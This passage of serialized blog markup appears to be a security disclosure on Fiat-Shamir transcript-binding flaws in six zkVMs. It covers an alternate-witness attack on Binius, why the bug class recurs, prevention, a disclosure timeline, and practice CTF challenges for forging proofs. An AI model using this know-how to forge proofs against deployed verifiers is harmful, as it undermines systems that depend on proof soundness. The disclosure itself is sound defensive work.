"tag":75,"props":132652,"children":132654},{"className":132653},[15329,15330,15331,15332],[132655],{"type":23,"tag":75,"props":132656,"children":132658},{"className":132657},[15284,15332],[132659,132665,132670],{"type":23,"tag":75,"props":132660,"children":132663},{"className":132661,"style":132662},[15284,32803,15332],"margin-right:0.02691em;",[132664],{"type":29,"value":60758},{"type":23,"tag":75,"props":132666,"children":132668},{"className":132667},[15395,15332],[132669],{"type":29,"value":15398},{"type":23,"tag":75,"props":132671,"children":132673},{"className":132672},[15284,32803,15332],[132674],{"type":29,"value":14507},{"type":23,"tag":75,"props":132676,"children":132678},{"className":132677},[32960],[132679],{"type":29,"value":32963},{"type":23,"tag":75,"props":132681,"children":132683},{"className":132682},[15309],[132684],{"type":23,"tag":75,"props":132685,"children":132687},{"className":132686,"style":124620},[15314],[132688],{"type":23,"tag":75,"props":132689,"children":132690},{},[],{"type":23,"tag":75,"props":132692,"children":132694},{"className":132693,"style":15402},[15363],[],{"type":23,"tag":75,"props":132696,"children":132698},{"className":132697},[15284],[132699],{"type":23,"tag":75,"props":132700,"children":132702},{"className":132701},[15284,29],[132703],{"type":23,"tag":75,"props":132704,"children":132706},{"className":132705},[15284],[132707],{"type":29,"value":172},{"type":23,"tag":75,"props":132709,"children":132711},{"className":132710},[32932],[132712],{"type":29,"value":814},{"type":23,"tag":75,"props":132714,"children":132716},{"className":132715,"style":132662},[15284,32803],[132717],{"type":29,"value":60758},{"type":23,"tag":75,"props":132719,"children":132721},{"className":132720},[32954],[132722],{"type":29,"value":1610},{"type":23,"tag":75,"props":132724,"children":132726},{"className":132725},[32932],[132727],{"type":29,"value":814},{"type":23,"tag":75,"props":132729,"children":132731},{"className":132730},[15284,32803],[132732],{"type":29,"value":14507},{"type":23,"tag":75,"props":132734,"children":132736},{"className":132735},[32954],[132737],{"type":29,"value":1610},{"type":23,"tag":75,"props":132739,"children":132741},{"className":132740,"style":15364},[15363],[],{"type":23,"tag":75,"props":132743,"children":132745},{"className":132744},[15369],[132746],{"type":29,"value":121644},{"type":23,"tag":75,"props":132748,"children":132750},{"className":132749,"style":15364},[15363],[],{"type":23,"tag":75,"props":132752,"children":132754},{"className":132753},[15273],[132755,132760,132769,132774,132779,132784,132788,132845,132850,132854,132859],{"type":23,"tag":75,"props":132756,"children":132759},{"className":132757,"style":132758},[15278],"height:1.0361em;vertical-align:-0.2861em;",[],{"type":23,"tag":75,"props":132761,"children":132763},{"className":132762},[15284,29],[132764],{"type":23,"tag":75,"props":132765,"children":132767},{"className":132766},[15284],[132768],{"type":29,"value":122971},{"type":23,"tag":75,"props":132770,"children":132772},{"className":132771},[32932],[132773],{"type":29,"value":643},{"type":23,"tag":75,"props":132775,"children":132777},{"className":132776},[15284,32803],[132778],{"type":29,"value":14507},{"type":23,"tag":75,"props":132780,"children":132782},{"className":132781},[15395],[132783],{"type":29,"value":15398},{"type":23,"tag":75,"props":132785,"children":132787},{"className":132786,"style":15402},[15363],[],{"type":23,"tag":75,"props":132789,"children":132791},{"className":132790},[15284],[132792,132797],{"type":23,"tag":75,"props":132793,"children":132795},{"className":132794,"style":103382},[15284,32803],[132796],{"type":29,"value":104201},{"type":23,"tag":75,"props":132798,"children":132800},{"className":132799},[15299],[132801],{"type":23,"tag":75,"props":132802,"children":132804},{"className":132803},[15304,32857],[132805,132834],{"type":23,"tag":75,"props":132806,"children":132808},{"className":132807},[15309],[132809,132829],{"type":23,"tag":75,"props":132810,"children":132812},{"className":132811,"style":103911},[15314],[132813],{"type":23,"tag":75,"props":132814,"children":132815},{"style":120381},[132816,132820],{"type":23,"tag":75,"props":132817,"children":132819},{"className":132818,"style":15324},[15323],[],{"type":23,"tag":75,"props":132821,"children":132823},{"className":132822},[15329,15330,15331,15332],[132824],{"type":23,"tag":75,"props":132825,"children":132827},{"className":132826,"style":124605},[15284,32803,15332],[132828],{"type":29,"value":19913},{"type":23,"tag":75,"props":132830,"children":132832},{"className":132831},[32960],[132833],{"type":29,"value":32963},{"type":23,"tag":75,"props":132835,"children":132837},{"className":132836},[15309],[132838],{"type":23,"tag":75,"props":132839,"children":132841},{"className":132840,"style":129292},[15314],[132842],{"type":23,"tag":75,"props":132843,"children":132844},{},[],{"type":23,"tag":75,"props":132846,"children":132848},{"className":132847},[32954],[132849],{"type":29,"value":1347},{"type":23,"tag":75,"props":132851,"children":132853},{"className":132852,"style":15364},[15363],[],{"type":23,"tag":75,"props":132855,"children":132857},{"className":132856},[15369],[132858],{"type":29,"value":121644},{"type":23,"tag":75,"props":132860,"children":132862},{"className":132861,"style":15364},[15363],[],{"type":23,"tag":75,"props":132864,"children":132866},{"className":132865},[15273],[132867,132871,132880,132885,132890,132895,132899,132909,132914,132923,132928,132937],{"type":23,"tag":75,"props":132868,"children":132870},{"className":132869,"style":103324},[15278],[],{"type":23,"tag":75,"props":132872,"children":132874},{"className":132873},[15284,29],[132875],{"type":23,"tag":75,"props":132876,"children":132878},{"className":132877},[15284],[132879],{"type":29,"value":122971},{"type":23,"tag":75,"props":132881,"children":132883},{"className":132882},[32932],[132884],{"type":29,"value":643},{"type":23,"tag":75,"props":132886,"children":132888},{"className":132887,"style":132662},[15284,32803],[132889],{"type":29,"value":60758},{"type":23,"tag":75,"props":132891,"children":132893},{"className":132892},[15395],[132894],{"type":29,"value":15398},{"type":23,"tag":75,"props":132896,"children":132898},{"className":132897,"style":15402},[15363],[],{"type":23,"tag":75,"props":132900,"children":132902},{"className":132901},[15284,29],[132903],{"type":23,"tag":75,"props":132904,"children":132906},{"className":132905},[15284],[132907],{"type":29,"value":132908},"inout",{"type":23,"tag":75,"props":132910,"children":132912},{"className":132911,"style":103382},[15284],[132913],{"type":29,"value":14370},{"type":23,"tag":75,"props":132915,"children":132917},{"className":132916},[15284,29],[132918],{"type":23,"tag":75,"props":132919,"children":132921},{"className":132920},[15284],[132922],{"type":29,"value":48739},{"type":23,"tag":75,"props":132924,"children":132926},{"className":132925,"style":103382},[15284],[132927],{"type":29,"value":14370},{"type":23,"tag":75,"props":132929,"children":132931},{"className":132930},[15284,29],[132932],{"type":23,"tag":75,"props":132933,"children":132935},{"className":132934},[15284],[132936],{"type":29,"value":128167},{"type":23,"tag":75,"props":132938,"children":132940},{"className":132939},[32954],[132941],{"type":29,"value":1347},{"type":23,"tag":32,"props":132943,"children":132944},{},[132945,132947,132952,132954,133027],{"type":29,"value":132946},"With challenges fixed (independent of ",{"type":23,"tag":71,"props":132948,"children":132950},{"className":132949},[],[132951],{"type":29,"value":172},{"type":29,"value":132953},"), an attacker can find an alternate witness ",{"type":23,"tag":71,"props":132955,"children":132957},{"className":132956},[15256,15257],[132958],{"type":23,"tag":75,"props":132959,"children":132961},{"className":132960},[15262],[132962],{"type":23,"tag":75,"props":132963,"children":132965},{"className":132964,"ariaHidden":15268},[15267],[132966],{"type":23,"tag":75,"props":132967,"children":132969},{"className":132968},[15273],[132970,132975],{"type":23,"tag":75,"props":132971,"children":132974},{"className":132972,"style":132973},[15278],"height:1.0307em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":132976,"children":132978},{"className":132977},[15284],[132979,132988],{"type":23,"tag":75,"props":132980,"children":132982},{"className":132981},[15284,29],[132983],{"type":23,"tag":75,"props":132984,"children":132986},{"className":132985},[15284],[132987],{"type":29,"value":172},{"type":23,"tag":75,"props":132989,"children":132991},{"className":132990},[15299],[132992],{"type":23,"tag":75,"props":132993,"children":132995},{"className":132994},[15304],[132996],{"type":23,"tag":75,"props":132997,"children":132999},{"className":132998},[15309],[133000],{"type":23,"tag":75,"props":133001,"children":133004},{"className":133002,"style":133003},[15314],"height:0.8362em;",[133005],{"type":23,"tag":75,"props":133006,"children":133008},{"style":133007},"top:-3.1473em;margin-right:0.05em;",[133009,133013],{"type":23,"tag":75,"props":133010,"children":133012},{"className":133011,"style":15324},[15323],[],{"type":23,"tag":75,"props":133014,"children":133016},{"className":133015},[15329,15330,15331,15332],[133017],{"type":23,"tag":75,"props":133018,"children":133020},{"className":133019},[15284,15332],[133021],{"type":23,"tag":75,"props":133022,"children":133024},{"className":133023},[15284,15332],[133025],{"type":29,"value":133026},"′",{"type":29,"value":133028}," that produces the same evaluation. This is a single 128-bit linear constraint over hundreds of bits, yielding a single linear equation in a high-dimensional binary witness space, which is typically underconstrained and admits many alternative witnesses under common parameterizations.",{"type":23,"tag":32,"props":133030,"children":133031},{},[133032,133036,133038],{"type":23,"tag":16596,"props":133033,"children":133034},{},[133035],{"type":29,"value":127092},{"type":29,"value":133037}," Fixed on December 29, 2025 via ",{"type":23,"tag":940,"props":133039,"children":133042},{"href":133040,"rel":133041},"https://github.com/binius-zk/binius64/pull/1355/commits/86a515f0632d2acdf547ed82780dfe7f9f39358f",[944],[133043],{"type":29,"value":133044},"commit 86a515f",{"type":23,"tag":30016,"props":133046,"children":133047},{},[],{"type":23,"tag":24,"props":133049,"children":133051},{"id":133050},"why-does-this-keep-happening",[133052],{"type":29,"value":133053},"Why Does This Keep Happening?",{"type":23,"tag":32,"props":133055,"children":133056},{},[133057],{"type":29,"value":133058},"Given that we found the same bug class in six independent implementations, at some point we have to ask whether there is a systemic issue making this mistake so common.",{"type":23,"tag":923,"props":133060,"children":133062},{"id":133061},"academic-papers-dont-specify-fiat-shamir",[133063],{"type":29,"value":133064},"Academic Papers Don't Specify Fiat-Shamir",{"type":23,"tag":32,"props":133066,"children":133067},{},[133068,133070,133075,133077,133102,133104,133107,133109,133134,133136,133163],{"type":29,"value":133069},"Academic papers usually describe ",{"type":23,"tag":9690,"props":133071,"children":133072},{},[133073],{"type":29,"value":133074},"interactive",{"type":29,"value":133076}," protocols: \"Prover sends ",{"type":23,"tag":71,"props":133078,"children":133080},{"className":133079},[15256,15257],[133081],{"type":23,"tag":75,"props":133082,"children":133084},{"className":133083},[15262],[133085],{"type":23,"tag":75,"props":133086,"children":133088},{"className":133087,"ariaHidden":15268},[15267],[133089],{"type":23,"tag":75,"props":133090,"children":133092},{"className":133091},[15273],[133093,133097],{"type":23,"tag":75,"props":133094,"children":133096},{"className":133095,"style":32798},[15278],[],{"type":23,"tag":75,"props":133098,"children":133100},{"className":133099,"style":33334},[15284,32803],[133101],{"type":29,"value":126611},{"type":29,"value":133103},". Verifier sends",{"type":23,"tag":42164,"props":133105,"children":133106},{},[],{"type":29,"value":133108},"random ",{"type":23,"tag":71,"props":133110,"children":133112},{"className":133111},[15256,15257],[133113],{"type":23,"tag":75,"props":133114,"children":133116},{"className":133115},[15262],[133117],{"type":23,"tag":75,"props":133118,"children":133120},{"className":133119,"ariaHidden":15268},[15267],[133121],{"type":23,"tag":75,"props":133122,"children":133124},{"className":133123},[15273],[133125,133129],{"type":23,"tag":75,"props":133126,"children":133128},{"className":133127,"style":121223},[15278],[],{"type":23,"tag":75,"props":133130,"children":133132},{"className":133131,"style":103382},[15284,32803],[133133],{"type":29,"value":104201},{"type":29,"value":133135},". Prover sends ",{"type":23,"tag":71,"props":133137,"children":133139},{"className":133138},[15256,15257],[133140],{"type":23,"tag":75,"props":133141,"children":133143},{"className":133142},[15262],[133144],{"type":23,"tag":75,"props":133145,"children":133147},{"className":133146,"ariaHidden":15268},[15267],[133148],{"type":23,"tag":75,"props":133149,"children":133151},{"className":133150},[15273],[133152,133156],{"type":23,"tag":75,"props":133153,"children":133155},{"className":133154,"style":32798},[15278],[],{"type":23,"tag":75,"props":133157,"children":133160},{"className":133158,"style":133159},[15284,32803],"margin-right:0.00773em;",[133161],{"type":29,"value":133162},"R",{"type":29,"value":133164},".\"",{"type":23,"tag":32,"props":133166,"children":133167},{},[133168,133170,133195,133197,133222],{"type":29,"value":133169},"They often omit the necessary steps to make the protocol non-interactive: \"Hash ",{"type":23,"tag":71,"props":133171,"children":133173},{"className":133172},[15256,15257],[133174],{"type":23,"tag":75,"props":133175,"children":133177},{"className":133176},[15262],[133178],{"type":23,"tag":75,"props":133179,"children":133181},{"className":133180,"ariaHidden":15268},[15267],[133182],{"type":23,"tag":75,"props":133183,"children":133185},{"className":133184},[15273],[133186,133190],{"type":23,"tag":75,"props":133187,"children":133189},{"className":133188,"style":32798},[15278],[],{"type":23,"tag":75,"props":133191,"children":133193},{"className":133192,"style":33334},[15284,32803],[133194],{"type":29,"value":126611},{"type":29,"value":133196}," before sampling ",{"type":23,"tag":71,"props":133198,"children":133200},{"className":133199},[15256,15257],[133201],{"type":23,"tag":75,"props":133202,"children":133204},{"className":133203},[15262],[133205],{"type":23,"tag":75,"props":133206,"children":133208},{"className":133207,"ariaHidden":15268},[15267],[133209],{"type":23,"tag":75,"props":133210,"children":133212},{"className":133211},[15273],[133213,133217],{"type":23,"tag":75,"props":133214,"children":133216},{"className":133215,"style":121223},[15278],[],{"type":23,"tag":75,"props":133218,"children":133220},{"className":133219,"style":103382},[15284,32803],[133221],{"type":29,"value":104201},{"type":29,"value":133223},". Also hash the public statement. Also hash intermediate values that affect later equations.\"",{"type":23,"tag":32,"props":133225,"children":133226},{},[133227],{"type":29,"value":133228},"Security proofs thus also analyze the interactive protocols where binding is implicit. The responsibility of determining what to include in the transcript therefore falls on the implementor, which may not have a good understanding of the full protocol.",{"type":23,"tag":923,"props":133230,"children":133232},{"id":133231},"the-hot-potato-problem",[133233],{"type":29,"value":133234},"The Hot Potato Problem",{"type":23,"tag":32,"props":133236,"children":133237},{},[133238],{"type":29,"value":133239},"Modern zkVMs are modular:",{"type":23,"tag":32,"props":133241,"children":133242},{},[133243],{"type":23,"tag":15189,"props":133244,"children":133247},{"alt":133245,"src":133246},"11_hot_potato","/posts/zkvms-unfaithful-claims/11_hot_potato.svg",[],{"type":23,"tag":32,"props":133249,"children":133250},{},[133251],{"type":29,"value":133252},"It often happens that each layer assumes the previous/next layer handles the transcript binding for a value, so in the end it never happens.",{"type":23,"tag":923,"props":133254,"children":133256},{"id":133255},"optimization-pressure",[133257],{"type":29,"value":133258},"Optimization Pressure",{"type":23,"tag":32,"props":133260,"children":133261},{},[133262],{"type":29,"value":133263},"Performance is existential for ZK. Since every hash operation has a cost, there is constant pressure to exclude values that are \"probably fine\" to leave out.",{"type":23,"tag":32,"props":133265,"children":133266},{},[133267],{"type":29,"value":133268},"There are indeed cases when this can be done safely, but determining what is safe requires a full understanding of all protocols involved, and the decision to exclude something should be double and triple checked by experts.",{"type":23,"tag":923,"props":133270,"children":133272},{"id":133271},"testing-doesnt-catch-adversarial-inputs",[133273],{"type":29,"value":133274},"Testing Doesn't Catch Adversarial Inputs",{"type":23,"tag":32,"props":133276,"children":133277},{},[133278],{"type":29,"value":133279},"Unit tests run the honest prover. Integration tests run the honest prover. Fuzzing only randomly perturbs values and has a very low probability of succeeding in fooling a verifier. Identifying Fiat-Shamir bugs requires thorough manual security analysis, and sometimes even that falls short.",{"type":23,"tag":30016,"props":133281,"children":133282},{},[],{"type":23,"tag":24,"props":133284,"children":133286},{"id":133285},"how-to-find-and-fix-these-bugs",[133287],{"type":29,"value":133288},"How to Find and Fix These Bugs",{"type":23,"tag":923,"props":133290,"children":133292},{"id":133291},"prevention",[133293],{"type":29,"value":133294},"Prevention",{"type":23,"tag":32,"props":133296,"children":133297},{},[133298],{"type":29,"value":133299},"Fiat-Shamir has long been a known source of soundness bugs, which has driven the development of primitives that make implementation less error-prone.",{"type":23,"tag":32,"props":133301,"children":133302},{},[133303],{"type":29,"value":133304},"One such tool is to merge the proof and transcript, to force all values that are sent by the prover to be automatically absorbed into the transcript.",{"type":23,"tag":32,"props":133306,"children":133307},{},[133308],{"type":29,"value":133309},"The prover holds a proof buffer which emulates the communication channel between prover and verifier. When a value is sent by the prover it is added to the proof buffer and automatically absorbed into the transcript. When the prover then needs to read a challenge from the verifier it simply squeezes from the current transcript.",{"type":23,"tag":32,"props":133311,"children":133312},{},[133313],{"type":29,"value":133314},"This can then be done in reverse for the verifier. It gradually reads values from the proof buffer and can thus sync the transcript state and derive the same challenges.",{"type":23,"tag":32,"props":133316,"children":133317},{},[133318],{"type":29,"value":133319},"Halo2 follows this pattern, and Binius is transcript-centric as well. But even with a merged proof/transcript, statement data (e.g., public inputs) must still be absorbed before sampling any challenges that govern equations depending on them—and as Binius demonstrates, even transcript-centric systems can miss this.",{"type":23,"tag":30016,"props":133321,"children":133322},{},[],{"type":23,"tag":24,"props":133324,"children":133326},{"id":133325},"responsible-disclosure-timeline",[133327],{"type":29,"value":133328},"Responsible Disclosure Timeline",{"type":23,"tag":66928,"props":133330,"children":133331},{},[133332,133360],{"type":23,"tag":133333,"props":133334,"children":133335},"thead",{},[133336],{"type":23,"tag":133337,"props":133338,"children":133339},"tr",{},[133340,133345,133350,133355],{"type":23,"tag":133341,"props":133342,"children":133343},"th",{},[133344],{"type":29,"value":34423},{"type":23,"tag":133341,"props":133346,"children":133347},{},[133348],{"type":29,"value":133349},"Reported",{"type":23,"tag":133341,"props":133351,"children":133352},{},[133353],{"type":29,"value":133354},"Fixed",{"type":23,"tag":133341,"props":133356,"children":133357},{},[133358],{"type":29,"value":133359},"Response Time",{"type":23,"tag":133361,"props":133362,"children":133363},"tbody",{},[133364,133387,133408,133428,133450,133471],{"type":23,"tag":133337,"props":133365,"children":133366},{},[133367,133372,133377,133382],{"type":23,"tag":133368,"props":133369,"children":133370},"td",{},[133371],{"type":29,"value":118195},{"type":23,"tag":133368,"props":133373,"children":133374},{},[133375],{"type":29,"value":133376},"Sep 2025",{"type":23,"tag":133368,"props":133378,"children":133379},{},[133380],{"type":29,"value":133381},"Oct 3, 2025",{"type":23,"tag":133368,"props":133383,"children":133384},{},[133385],{"type":29,"value":133386},"\u003C1 week",{"type":23,"tag":133337,"props":133388,"children":133389},{},[133390,133394,133399,133404],{"type":23,"tag":133368,"props":133391,"children":133392},{},[133393],{"type":29,"value":118201},{"type":23,"tag":133368,"props":133395,"children":133396},{},[133397],{"type":29,"value":133398},"Oct 2025",{"type":23,"tag":133368,"props":133400,"children":133401},{},[133402],{"type":29,"value":133403},"Oct 24, 2025",{"type":23,"tag":133368,"props":133405,"children":133406},{},[133407],{"type":29,"value":133386},{"type":23,"tag":133337,"props":133409,"children":133410},{},[133411,133415,133419,133424],{"type":23,"tag":133368,"props":133412,"children":133413},{},[133414],{"type":29,"value":118207},{"type":23,"tag":133368,"props":133416,"children":133417},{},[133418],{"type":29,"value":133398},{"type":23,"tag":133368,"props":133420,"children":133421},{},[133422],{"type":29,"value":133423},"Oct 31, 2025",{"type":23,"tag":133368,"props":133425,"children":133426},{},[133427],{"type":29,"value":133386},{"type":23,"tag":133337,"props":133429,"children":133430},{},[133431,133435,133440,133445],{"type":23,"tag":133368,"props":133432,"children":133433},{},[133434],{"type":29,"value":118213},{"type":23,"tag":133368,"props":133436,"children":133437},{},[133438],{"type":29,"value":133439},"Nov 2025",{"type":23,"tag":133368,"props":133441,"children":133442},{},[133443],{"type":29,"value":133444},"Mar 5, 2026",{"type":23,"tag":133368,"props":133446,"children":133447},{},[133448],{"type":29,"value":133449},"~4 months",{"type":23,"tag":133337,"props":133451,"children":133452},{},[133453,133457,133462,133467],{"type":23,"tag":133368,"props":133454,"children":133455},{},[133456],{"type":29,"value":118225},{"type":23,"tag":133368,"props":133458,"children":133459},{},[133460],{"type":29,"value":133461},"Dec 2025",{"type":23,"tag":133368,"props":133463,"children":133464},{},[133465],{"type":29,"value":133466},"Dec 29, 2025",{"type":23,"tag":133368,"props":133468,"children":133469},{},[133470],{"type":29,"value":133386},{"type":23,"tag":133337,"props":133472,"children":133473},{},[133474,133478,133482,133487],{"type":23,"tag":133368,"props":133475,"children":133476},{},[133477],{"type":29,"value":118219},{"type":23,"tag":133368,"props":133479,"children":133480},{},[133481],{"type":29,"value":133439},{"type":23,"tag":133368,"props":133483,"children":133484},{},[133485],{"type":29,"value":133486},"Jan 21, 2026?",{"type":23,"tag":133368,"props":133488,"children":133489},{},[133490],{"type":29,"value":133491},"3 months",{"type":23,"tag":32,"props":133493,"children":133494},{},[133495],{"type":29,"value":133496},"All six teams were notified; responses ranged from immediate acknowledgement to delayed fix, and all reported issues have since been addressed.",{"type":23,"tag":30016,"props":133498,"children":133499},{},[],{"type":23,"tag":24,"props":133501,"children":133503},{"id":133502},"challenges",[133504],{"type":29,"value":118238},{"type":23,"tag":32,"props":133506,"children":133507},{},[133508,133510],{"type":29,"value":133509},"Do you think you have a good understanding of these bugs? We have prepared challenges to allow you to practice implementing two of these exploits. If you solve any of them, follow the instructions in the flag ",{"type":23,"tag":133511,"props":133512,"children":133513},"del",{},[133514],{"type":29,"value":133515},"the first 10 solvers will get a T-shirt.",{"type":23,"tag":32,"props":133517,"children":133518},{},[133519,133521,133574,133575,133831],{"type":29,"value":133520},"Your goal is to find a counter example of Fermat's Last Theorem, i.e you know ",{"type":23,"tag":71,"props":133522,"children":133524},{"className":133523},[15256,15257],[133525],{"type":23,"tag":75,"props":133526,"children":133528},{"className":133527},[15262],[133529],{"type":23,"tag":75,"props":133530,"children":133532},{"className":133531,"ariaHidden":15268},[15267],[133533],{"type":23,"tag":75,"props":133534,"children":133536},{"className":133535},[15273],[133537,133541,133546,133551,133555,133560,133565,133569],{"type":23,"tag":75,"props":133538,"children":133540},{"className":133539,"style":125437},[15278],[],{"type":23,"tag":75,"props":133542,"children":133544},{"className":133543},[15284,32803],[133545],{"type":29,"value":940},{"type":23,"tag":75,"props":133547,"children":133549},{"className":133548},[15395],[133550],{"type":29,"value":15398},{"type":23,"tag":75,"props":133552,"children":133554},{"className":133553,"style":15402},[15363],[],{"type":23,"tag":75,"props":133556,"children":133558},{"className":133557},[15284,32803],[133559],{"type":29,"value":14507},{"type":23,"tag":75,"props":133561,"children":133563},{"className":133562},[15395],[133564],{"type":29,"value":15398},{"type":23,"tag":75,"props":133566,"children":133568},{"className":133567,"style":15402},[15363],[],{"type":23,"tag":75,"props":133570,"children":133572},{"className":133571},[15284,32803],[133573],{"type":29,"value":14432},{"type":29,"value":120038},{"type":23,"tag":71,"props":133576,"children":133578},{"className":133577},[15256,15257],[133579],{"type":23,"tag":75,"props":133580,"children":133582},{"className":133581},[15262],[133583],{"type":23,"tag":75,"props":133584,"children":133586},{"className":133585,"ariaHidden":15268},[15267],[133587,133650,133712,133818],{"type":23,"tag":75,"props":133588,"children":133590},{"className":133589},[15273],[133591,133596,133637,133641,133646],{"type":23,"tag":75,"props":133592,"children":133595},{"className":133593,"style":133594},[15278],"height:0.8974em;vertical-align:-0.0833em;",[],{"type":23,"tag":75,"props":133597,"children":133599},{"className":133598},[15284],[133600,133605],{"type":23,"tag":75,"props":133601,"children":133603},{"className":133602},[15284,32803],[133604],{"type":29,"value":940},{"type":23,"tag":75,"props":133606,"children":133608},{"className":133607},[15299],[133609],{"type":23,"tag":75,"props":133610,"children":133612},{"className":133611},[15304],[133613],{"type":23,"tag":75,"props":133614,"children":133616},{"className":133615},[15309],[133617],{"type":23,"tag":75,"props":133618,"children":133620},{"className":133619,"style":15279},[15314],[133621],{"type":23,"tag":75,"props":133622,"children":133623},{"style":15318},[133624,133628],{"type":23,"tag":75,"props":133625,"children":133627},{"className":133626,"style":15324},[15323],[],{"type":23,"tag":75,"props":133629,"children":133631},{"className":133630},[15329,15330,15331,15332],[133632],{"type":23,"tag":75,"props":133633,"children":133635},{"className":133634},[15284,15332],[133636],{"type":29,"value":28518},{"type":23,"tag":75,"props":133638,"children":133640},{"className":133639,"style":15364},[15363],[],{"type":23,"tag":75,"props":133642,"children":133644},{"className":133643},[15369],[133645],{"type":29,"value":7862},{"type":23,"tag":75,"props":133647,"children":133649},{"className":133648,"style":15364},[15363],[],{"type":23,"tag":75,"props":133651,"children":133653},{"className":133652},[15273],[133654,133658,133699,133703,133708],{"type":23,"tag":75,"props":133655,"children":133657},{"className":133656,"style":15279},[15278],[],{"type":23,"tag":75,"props":133659,"children":133661},{"className":133660},[15284],[133662,133667],{"type":23,"tag":75,"props":133663,"children":133665},{"className":133664},[15284,32803],[133666],{"type":29,"value":14507},{"type":23,"tag":75,"props":133668,"children":133670},{"className":133669},[15299],[133671],{"type":23,"tag":75,"props":133672,"children":133674},{"className":133673},[15304],[133675],{"type":23,"tag":75,"props":133676,"children":133678},{"className":133677},[15309],[133679],{"type":23,"tag":75,"props":133680,"children":133682},{"className":133681,"style":15279},[15314],[133683],{"type":23,"tag":75,"props":133684,"children":133685},{"style":15318},[133686,133690],{"type":23,"tag":75,"props":133687,"children":133689},{"className":133688,"style":15324},[15323],[],{"type":23,"tag":75,"props":133691,"children":133693},{"className":133692},[15329,15330,15331,15332],[133694],{"type":23,"tag":75,"props":133695,"children":133697},{"className":133696},[15284,15332],[133698],{"type":29,"value":28518},{"type":23,"tag":75,"props":133700,"children":133702},{"className":133701,"style":15461},[15363],[],{"type":23,"tag":75,"props":133704,"children":133706},{"className":133705},[15466],[133707],{"type":29,"value":212},{"type":23,"tag":75,"props":133709,"children":133711},{"className":133710,"style":15461},[15363],[],{"type":23,"tag":75,"props":133713,"children":133715},{"className":133714},[15273],[133716,133721,133762,133767,133771,133776,133781,133785,133790,133795,133799,133804,133808,133814],{"type":23,"tag":75,"props":133717,"children":133720},{"className":133718,"style":133719},[15278],"height:1.0085em;vertical-align:-0.1944em;",[],{"type":23,"tag":75,"props":133722,"children":133724},{"className":133723},[15284],[133725,133730],{"type":23,"tag":75,"props":133726,"children":133728},{"className":133727},[15284,32803],[133729],{"type":29,"value":14432},{"type":23,"tag":75,"props":133731,"children":133733},{"className":133732},[15299],[133734],{"type":23,"tag":75,"props":133735,"children":133737},{"className":133736},[15304],[133738],{"type":23,"tag":75,"props":133739,"children":133741},{"className":133740},[15309],[133742],{"type":23,"tag":75,"props":133743,"children":133745},{"className":133744,"style":15279},[15314],[133746],{"type":23,"tag":75,"props":133747,"children":133748},{"style":15318},[133749,133753],{"type":23,"tag":75,"props":133750,"children":133752},{"className":133751,"style":15324},[15323],[],{"type":23,"tag":75,"props":133754,"children":133756},{"className":133755},[15329,15330,15331,15332],[133757],{"type":23,"tag":75,"props":133758,"children":133760},{"className":133759},[15284,15332],[133761],{"type":29,"value":28518},{"type":23,"tag":75,"props":133763,"children":133765},{"className":133764},[15395],[133766],{"type":29,"value":15398},{"type":23,"tag":75,"props":133768,"children":133770},{"className":133769,"style":15402},[15363],[],{"type":23,"tag":75,"props":133772,"children":133774},{"className":133773},[15284,32803],[133775],{"type":29,"value":940},{"type":23,"tag":75,"props":133777,"children":133779},{"className":133778},[15395],[133780],{"type":29,"value":15398},{"type":23,"tag":75,"props":133782,"children":133784},{"className":133783,"style":15402},[15363],[],{"type":23,"tag":75,"props":133786,"children":133788},{"className":133787},[15284,32803],[133789],{"type":29,"value":14507},{"type":23,"tag":75,"props":133791,"children":133793},{"className":133792},[15395],[133794],{"type":29,"value":15398},{"type":23,"tag":75,"props":133796,"children":133798},{"className":133797,"style":15402},[15363],[],{"type":23,"tag":75,"props":133800,"children":133802},{"className":133801},[15284,32803],[133803],{"type":29,"value":14432},{"type":23,"tag":75,"props":133805,"children":133807},{"className":133806,"style":15461},[15363],[],{"type":23,"tag":75,"props":133809,"children":133811},{"className":133810},[15466],[133812],{"type":29,"value":133813},"≥",{"type":23,"tag":75,"props":133815,"children":133817},{"className":133816,"style":15461},[15363],[],{"type":23,"tag":75,"props":133819,"children":133821},{"className":133820},[15273],[133822,133826],{"type":23,"tag":75,"props":133823,"children":133825},{"className":133824,"style":104413},[15278],[],{"type":23,"tag":75,"props":133827,"children":133829},{"className":133828},[15284],[133830],{"type":29,"value":7867},{"type":29,"value":133832},". Good luck!",{"type":23,"tag":923,"props":133834,"children":133836},{"id":133835},"jolt",[133837],{"type":29,"value":118195},{"type":23,"tag":32,"props":133839,"children":133840},{},[133841,133843,133854,133856],{"type":29,"value":133842},"See ",{"type":23,"tag":940,"props":133844,"children":133851},{"href":133845,"target":133846,"rel":133847,"download":133850},"/posts/zkvms-unfaithful-claims/handout_jolt.tar.gz","_blank",[133848,133849],"noopener","noreferrer","handout_jolt.tar.gz",[133852],{"type":29,"value":133853},"the handout",{"type":29,"value":133855}," for the setup running on the server.\nSubmit your proof by connecting to ",{"type":23,"tag":71,"props":133857,"children":133859},{"className":133858},[],[133860],{"type":29,"value":133861},"jolt.chal.osec.io:8960",{"type":23,"tag":923,"props":133863,"children":133865},{"id":133864},"nexus-1",[133866],{"type":29,"value":118201},{"type":23,"tag":32,"props":133868,"children":133869},{},[133870,133871,133878,133879],{"type":29,"value":133842},{"type":23,"tag":940,"props":133872,"children":133876},{"href":133873,"target":133846,"rel":133874,"download":133875},"/posts/zkvms-unfaithful-claims/handout_nexus.tar.gz",[133848,133849],"handout_nexus.tar.gz",[133877],{"type":29,"value":133853},{"type":29,"value":133855},{"type":23,"tag":71,"props":133880,"children":133882},{"className":133881},[],[133883],{"type":29,"value":133884},"nexus.chal.osec.io:8950",{"type":23,"tag":32,"props":133886,"children":133887},{},[133888],{"type":29,"value":133889},"Now you should have enough margin to prove Fermat wrong.",{"type":23,"tag":30016,"props":133891,"children":133892},{},[],{"type":23,"tag":24,"props":133894,"children":133896},{"id":133895},"takeaways",[133897],{"type":29,"value":133898},"Takeaways",{"type":23,"tag":32,"props":133900,"children":133901},{},[133902],{"type":29,"value":133903},"We found critical soundness vulnerabilities in six separate zkVMs. All share the same root cause: prover-controlled values that affect verification equations were not bound to the Fiat-Shamir transcript before challenges were derived.",{"type":23,"tag":32,"props":133905,"children":133906},{},[133907],{"type":29,"value":133908},"The fix in each case is trivial—one or two lines of code. But finding the bug requires understanding the full verification flow and asking: \"What if the prover chose this value after seeing the challenges?\"",{"type":23,"tag":32,"props":133910,"children":133911},{},[133912,133917],{"type":23,"tag":16596,"props":133913,"children":133914},{},[133915],{"type":29,"value":133916},"For the ZK ecosystem:",{"type":29,"value":133918}," The Fiat-Shamir transform looks 